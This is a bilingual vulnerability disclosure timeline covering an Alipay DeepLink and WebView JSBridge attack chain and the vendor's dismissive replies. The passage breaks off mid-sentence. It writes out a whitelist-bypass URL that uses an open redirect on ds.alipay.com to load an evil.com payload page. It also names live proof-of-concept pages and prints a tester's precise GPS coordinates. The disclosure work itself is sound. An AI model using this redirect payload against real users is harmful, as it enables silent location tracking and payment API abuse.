This article details an attack chain exploiting Alipay's DeepLink and WebView JSBridge mechanisms, allowing an attacker to bypass domain whitelists via an open redirect on `ds.alipay.com` to silently exfiltrate sensitive data like GPS location. The vulnerabilities were assigned a CVSS score of 9.3 and affect Alipay for Android version 10.8.30.8000 and iOS, though the vendor dismissed the findings as "normal functionality." No patched version or official workaround is provided, but the researcher advises users to back up the disclosure content.
针对支付宝 Android/iOS 最新版的 DeepLink + WebView JSBridge 攻击链端到端分析。已通过负责任披露流程向蚂蚁集团报告，厂商回复为"正常功能"。End-to-end analysis of the DeepLink + WebView JSBridge attack chain on Alipay Android/iOS latest versions. Reported through responsible disclosure to Ant Group. Vendor response: "normal functionality." 读者请自行备份！Fork GitHub 仓库或保存网页到本地，防止任一节点被删除导致内容丢失。Readers: please backup!Fork the GitHub repo or save this page locally to prevent content loss if any node is taken down. 我们始终遵循负责任的安全研究原则。在公开任何信息之前，已通过多个渠道向蚂蚁集团进行了完整的报告。 We followed responsible disclosure principles throughout. Before any public discussion, full reports were submitted to Ant Group through multiple channels. 开始对 Alipay v10.8.30.8000 APK 进行静态分析Started static analysis of Alipay v10.8.30.8000 APK 第一次报告— TLS/SSL 中间人攻击 + 设备指纹问题，发送至[email protected],[email protected],[email protected]注：此次报告的是 TLS/SSL 相关问题，DeepLink/JSBridge 攻击链尚未发现First Report— TLS/SSL MITM + device fingerprinting issues sent to[email protected],[email protected],[email protected]Note: This report covered TLS/SSL issues only; the DeepLink/JSBridge attack chain had not yet been discovered AntSRC 回复："经过我们安全工程师审核，无法被实际利用"AntSRC Reply: "After review by our security engineers, [the issues] cannot be practically exploited" 第二次报告— 发现 DeepLink+JSBridge 攻击链，提交 8 个漏洞（2 CRITICAL + 4 HIGH），发送至厂商安全团队对接人Second Report— DeepLink+JSBridge attack chain discovered, 8 issues (2 CRITICAL + 4 HIGH) sent to vendor security contact 第三次报告（V3）— 扩展至 17 个漏洞，含资金操作风险 + 308 条服务器日志 + 42 张截图Third Report (V3)— Expanded to 17 issues including financial operation risks + 308 server logs + 42 screenshots 第四次报告— 端到端外部攻击完整演示，3 台设备跨国验证（新西兰/马来西亚/中国），含在线复现链接Fourth Report— Full E2E external attack demo, 3 devices cross-country verification (NZ/MY/CN), with live reproduction URL 厂商回复："漏洞报告邮件已收到，我们会安排人尽快分析，完了给你回复"Vendor Reply: "Vulnerability report emails received, we will arrange someone to analyze ASAP and reply" 微信语音通话（15分46秒）— 厂商安全业务负责人在通话中辩称"局域网内本来就对这些功能开放"，试图将攻击面限定为局域网场景。并暗示："如果能绕过我们的白名单限制，那就严重了"。此前所有测试确实在局域网环境下（研究员本机与测试手机 Xiaomi Redmi 12 在同一 WiFi 网络），PoC 页面部署在 192.168.80.12:8888WeChat Voice Call (15m 46s)— Vendor security lead argued that "these features are designed to be open within LAN" and attempted to frame the attack surface as LAN-only. The lead implied:"If you can bypass our whitelist, that would be serious."All prior testing had indeed been on a local network (researcher's machine and Xiaomi Redmi 12 test phone on the same WiFi), with PoC pages hosted at 192.168.80.12:8888 白名单绕过 — 2 分钟内完成— 通话结束后不到 2 分钟，我们即绕过了厂商自以为安全的白名单机制。绕过方法：利用ds.alipay.com/?scheme=开放重定向参数。该域名 (ds.alipay.com) 本身在 Alipay WebView 的白名单中，其?scheme=参数接受任意 URL 跳转，攻击者可构造https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://evil.com/payload.html，URL 的 host 为白名单域名，但实际加载攻击者页面。这彻底否定了"局域网限定"的辩解——任何互联网上的页面都可以通过白名单域名跳转进入 Alipay WebView 并调用 JSBridge APIWhitelist Bypass — Completed in Under 2 Minutes— Less than 2 minutes after the call ended, we bypassed the vendor's whitelist mechanism they believed was secure. Method: exploiting theds.alipay.com/?scheme=open redirect parameter. The domain ds.alipay.com is itself whitelisted in Alipay's WebView, and its?scheme=parameter accepts arbitrary URL redirects. An attacker can crafthttps://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://evil.com/payload.html— the URL host is a whitelisted domain, but it actually loads the attacker's page.This completely invalidated the "LAN-only" defense— any page on the internet can use the whitelisted domain redirect to enter Alipay's WebView and invoke JSBridge APIs 公网 PoC 部署 + 第二次语音通话（7分07秒）— 将 PoC 部署至公网https://innora.ai/sec/trigger.html（触发页）和https://innora.ai/sec/verify.html（载荷页），发送给厂商安全人员验证。证明攻击在互联网环境下完全可行，不限于局域网Public PoC Deployment + Second Voice Call (7m 07s)— Deployed PoC to public internet athttps://innora.ai/sec/trigger.html(trigger page) andhttps://innora.ai/sec/verify.html(payload page), sent to vendor security lead for verification. Proved the attack is fully viable over the internet, not limited to LAN 厂商安全人员亲测 — iPhone 从杭州连接— 服务器日志显示来自杭州（支付宝总部所在地）的 iPhone 17 Pro Max 连接，GPS 定位 (30.306910, 120.121399) 精度 9.99m。设备有 231.86GB 存储、80% 电量。关键发现：iOS 上有 18 个 JSBridge API 可用，比 Android (13 个) 多出 5 个高危 API：tradePay、share、getLocation、scan、chooseImage。iOS 版 tradePay（支付）和 getLocation（定位）均可从外部页面直接调用，而 Android 上这些 API 被拦截。这意味着iOS 攻击面显著大于 Android，且 share API 可实现蠕虫式传播Vendor Security Lead Tests — iPhone Connects from Hangzhou— Server logs show iPhone 17 Pro Max connecting from Hangzhou (Alipay HQ city), GPS (30.306910, 120.121399) accuracy 9.99m. Device: 231.86GB storage, 80% battery.Critical discovery: 18 JSBridge APIs available on iOS vs 13 on Android — 5 additional high-risk APIs: tradePay, share, getLocation, scan, chooseImage. iOS tradePay (payment) and getLocation (GPS) can be invoked from external pages, while Android blocks them. This meansiOS attack surface is significantly larger than Android, and the share API enables worm-like p...